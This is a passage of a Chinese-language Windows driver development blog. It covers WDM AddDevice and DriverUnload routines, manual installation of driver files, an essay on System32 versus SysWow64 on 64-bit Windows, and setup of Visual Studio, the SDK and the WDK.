pPhyDevice);   // step 3. initialize device object flags  pOurDevice->Flags&= ~DO_DEVICE_INITIALIZING;  pOurDevice->Flags|= DO_BUFFERED_IO;  return STATUS_SUCCESS;}
  • Step 1 產生一個Device Object(可自己決定名稱),然後建立一條Symbolic Link(可自己決定名稱),Device Object名稱一般是放在Windows特殊資料夾中的Device資料夾,使用者可以使用WinObj程式去查看有哪些Device Object,而Symbolic Link的名稱則是放在DosDevices資料夾(GLOBAL??),那應用程式該如何把完整路徑名稱給CreateFile()呢?答案是加上\.\\關鍵字,有印象開啟COM Port時需要使用這樣CreateFile(“\\.\\\\COM1”, …);的方式嗎?這就是代表完整路徑的意思,在寫COM Port程式時,不一定說是要大於COM9才能加\.\\路徑,其實從COM1就可以開始使用。
  • Step 2 把剛剛產生完的Device Object附加到下層Device Object的堆疊,這樣才可以開始處理I/O Request Packet(IRP)。
  • Step 3 初始化相關旗標,讓PnP Manager知道Device Object已經初始化完畢,比較需要注意的是DO_BUFFERED_IO旗標,因為在做裝置讀寫時,User Mode應用程式跟驅動程式是否共用同一塊Buffer是取決於該旗標,如果使用者設定成DO_BUFFERED_IO,則代表驅動程式有自己獨立一塊Buffer,驅動程式讀取完硬體資料後,會複製到它自己的Buffer,然後再複製到User Mode應用程式的Buffer,所以速度會比較慢一些,如果要共用同一塊Buffer的話,則把旗標設定成DO_DIRECT_IO即可。

DriverUnload

當驅動程式準備被系統卸載時,DriverUnload()會被系統呼叫,這是驅動程式最後可以釋放資源的地方,若沒有適當的釋放資源,則驅動程式無法被卸載,遇到這種狀況時,系統會提示需要重新開機才可以正確卸載驅動程式。DriverUnload()副程式定義如下:

void DriverUnload(PDRIVER_OBJECT);

因為WDM驅動程式會收到PnP Remove Device的IRP,所以當系統要卸載驅動程式時,系統會呼叫PnP Callback副程式並帶入IRP_MN_REMOVE_DEVICE(IRP_MJ_PNP),WDM驅動程式一般會在那個地方釋放資源;

若是Legacy驅動程式,因為裝置物件是在DriverEntry()產生,加上又沒有IRP_MN_REMOVE_DEVICE IRP,所以必須在DriverUnload()釋放資源。範例:

void DriverUnload(PDRIVER_OBJECT pOurDriver){}

WDM驅動程式的DriverUnload()一般不做任何事情,因為釋放資源的地方已經改到IRP_MN_REMOVE_DEVICE的地方,原因在於WDM驅動程式的資源配置是在AddDevice()配置,所以釋放資源的地方就變成是收到IRP_MN_REMOVE_DEVICE時才移除之前配置的資源。

手動安裝 *.inf, *.sys 與.dll 檔案

KMDF是Windows系統底層驅動,文件名為:*.SYS
安裝一般驅動程式有 *.inf 及 *.sys 檔案,步驟如下:
1. 將驅動程式的INF 檔copy到System32 Inf 底下(如 C:\Windows\inf\ ,注意:這個目錄可能是隱藏的!), 將SYS檔copy 到driver 底下(如 C:\windows\system32\driver\),
2. 啟動Device Manager 或重開機就會自動安裝

UMDF是用戶層驅動,文件名為:*.DLL
安裝 DLL 元件,步驟如下:
將 DLL 組件先複製到 C:\Windows\System32 目錄下
然後進入命令提示字元執行 regsvr32 xxxxxx.dll 指令

系統檔案什麼是SysWow64? 什麼是system32 目錄?

老麟October 26, 2011
64位的Windows並不是簡單地把所有東西都編譯成64位就萬事大吉的。關於64位的CPU應該做成什麼樣子,Intel和AMD曾有各自的打算。 AMD的回答直接了當:新的64位處理器,應該能在提高更高處理能力的同時,保持對32位應用程序的兼容性。而Intel則希望藉此機會,把下一代的處理器,設計得更完美。於是,就有了AMD的x86-64(後被稱為amd64)的處理器和Intel的IA-64(安騰)處理器。和amd64不一樣的是,安騰處理器並沒有很好地提供對32位應用程序的支持。具體信息,讀者在網上應該很容易找到,也就不多說了。

Windows作為一個操作系統,自然希望用戶在運行64位操作系統時,也能像以前一樣,運行各種32位應用程序。這一點,在amd64處理器上,相對容易做到。而安騰,幾乎是另外一回事。 (後來Intel也生產了兼容amd64的處理器,但那是後話。)雖然我說“相對”容易做到,但也不是空手套白狼。當操作系統運行在64位時,怎麼才能保證已經存在的32位應用程序以為自己仍然運行在32位系統上呢?微軟的解決方案是:Wow64,全稱是32bit Windows On 64bit Windows(64位Windows上的32位Windows)。

你也可以這樣理解,雖然整個系統是運行在64位模式,但如果一個應該程序是32位的,Windows會在64位的基礎上,加載一個“32位的Windows”。這樣,這個32位應用程序就以為自己是運行在32位的系統之上的。於是,你也可以想像,這就意味著,64位的Windows,不但帶有64位操作系統應有的系統文件,還帶有32位系統應有的系統文件。

我們都知道的是,Windows系統的主要係統文件都是放在一個叫做System32的文件夾中的。為了能同時放下兩套系統文件,Windows會在64位的系統上,增加了一個文件夾,叫SysWow64。這便有了一個問題,System32和SysWow64裡面,哪個放的是64位的系統文件,哪個放的是32位的系統文件呢?如果你還記得Wow64指的是64位Windows上的32位Windows,那麼,你就能會想到,SysWow64裡放的是32位的系統文件。但你也可能會問,為什麼一個明明叫System32的文件夾裝的是64位的系統文件,而一個明明叫SysWow64的文件夾裝的卻是32位的系統文件呢?既然是64位的系統,為什麼不能有System64和System32這樣的文件夾呢? 這個問題問得很好。答案也很簡單:人在江湖,身不由己。

兼容性
如果我問你,可曾有多少機會接觸過安騰處理器呢?我想,對於一般人來講,應該是沒有的。那為什麼amd64會大行其道,而安騰處理器卻鮮為人知呢?還是因為一個軟硬件設計上的關鍵概念:兼容性。正是因為安騰處理器,沒有做好對已有的32位系統提供良好的支持,便其一直處於市場的邊緣。這和你不會買一台看不了模擬信號頻道的高清電視是一個道理。

之前我們談到的兼容性,是指在64位Windows上,兼容已經有的32位應用程序。現在考慮另一種兼容性。如果你寫了一個很牛的32位的應用程序,現在,你想把它變成64位的應用程序,以更充分地利用64位處理器所帶來的新的處理能力。你肯定覺得,這不就是讓64位編譯器編譯一遍就完了的事兒麼?可能你發現,這並不是骨感的現實。你突然發現,你的程序裡,為了某些你已經想不起來的原因,把System32這個文件夾,寫死在了你的程序裡。而這個System32中的32,讓你很不安。你嘗試著運行了你的程序,卻發現一切正常。為什麼呢?因為這是Windows系統的另一個兼容性方面的努力:讓一個已有的32位應用程序,不加修改或者盡可能少地加以修改,便可以被編譯成64位應用程序並在64位Windows上運行。

其實,把System32這樣的路徑,寫死在程序裡,並不是一個個案。所以,為了保證這些應用程序可以順利地過渡到64位,Windows最後還是決定讓64位的系統文件放在System32的文件夾下。而讓32位的系統文件,搬到了SysWow64中去。你肯定會想,那讓32位搬到SysWow64中去以後,那些寫死在32位應用程序中的System32怎麼辦?答:Windows會給他們轉向到SysWow64中去。那讓64位中的System32轉向到System64不也是一樣麼?真的一樣麼?不一樣麼?真的一樣麼?不一樣麼?真的不一樣。

作為64位Windows操作系統,當然是希望能充分發揮64位處理器的潛力,讓應用程序更有效率地運行。如果在運行64位應用程序時,總要檢查是否需要轉向,勢必影響程序運行效率。所以,不能給64位應用程序做沒有必要的轉向,如果說必須要轉,那就只能轉32位應用程序了。是的,沒有辦法,在64位操作系統中,32位應用程序要做一些小的犧牲。此外,為了保證32位應用程序不與64位應用程序相衝突,除了System32文件夾外,註冊表也需要為32位和64位提供兩套,也需要讓32位的應用程序在必要時重定向。

結論
所以SysWow64文件夾,是64位Windows,用來存放32位Windows系統文件的地方。

後記
兼容性是一個重要的事情。當然,也是一個很有意思的事情。如果你在Windows 7中運行”winver”,你就會發現,Windows 7原來是Windows 6.1。為什麼呢?事情是這樣的,Windows XP是Windows 5.2,Windows Vista開始變成了6.0,結果,很多應用程序只是檢查操作系統版本號的頭一位,發現不是5,於是就提示用戶說:“我們不支持Windows XP以前的系統”。這也是從Windows Vista的不成功中,學習到的一課。也許,以後永遠都沒有Windows 7.0也未可知啊。

如今的市場上已經找不到只支持32位指令集的X86處理器了,除了極個別老舊PC。當年64位X86處理器爭奪戰中Intel被AMD打個措手不及,後者聯合微軟搶先推出了X86_64指令集,Intel最終也接納了AMD的64位指令集。不過在伺服器市場上,Intel當時跟HP合作推出了安騰(Itanium)處理器,使用的是IA-64指令集體系,不過16年來安騰處理器越來越不受歡迎,Intel日前推出了代號Kittson的安騰9700系列處理器,這是最新但也是最後一代安騰處理器了,後續不再更新了。

工具書書本列表:

2017/08/08

設置編譯環境 - 開發環境安裝Visual Studio, Windows SDK, 以及Windows driver kit(WDK)

想記錄一下, 架設Windows編譯環境, 還有釐清一下容易搞混的Windows SDK與Windows driver kit,

建議的安裝次序是:

  1. 先安裝 Visual Studio 2010/2013/2015/..etc
    • 是微軟公司的開發工具套件系列產品。VS是一個基本完整的開發工具集,它包括了整個軟體生命周期中所需要的大部分工具,如UML工具、代碼管控工具、整合式開發環境(IDE)等等。所寫的目的碼適用於微軟支援的所有平台
    • 適用於 Windows 10 的下載項目與工具
  2. 再安裝 Windows SDK (注意SDK與WDK版本號要一致)
    • Windows SDK是由微軟公司出品的一個軟體開發包,向在微軟的Windows作業系統和.NET框架上開發軟體和網站的程式設計師提供頭文件、庫文件、示例代碼、開發文檔和開發工具! 微軟每次發布一個主要版本的Windows,都會發布對應的開發工具以使得開發人員能夠調用新的作業系統的應用程式開發接口(API)。在Windows 98之後,這個開發工具包被命名為為Platform SDK。在Windows Vista的SDK推出時,這個產品改名為Windows SDK
    • 微軟的Windows SDK 和模擬器封存
  3. 安裝WDK – Windows driver kit (注意SDK與WDK版本號要一致)
    • 提供大量的驅動程式範例,例如:USB、WMI、滑鼠、鍵盤等。賦予驅動程式開發者極大的方便。Windows Vista作業系統改採 Windows Driver Kit(WDK)來取代原本Windows XP上開發的硬體驅動程式撰寫方式Windows驅動程序開發工具包(DDK)
    • 微軟的WDK、WinDbg 及相關工具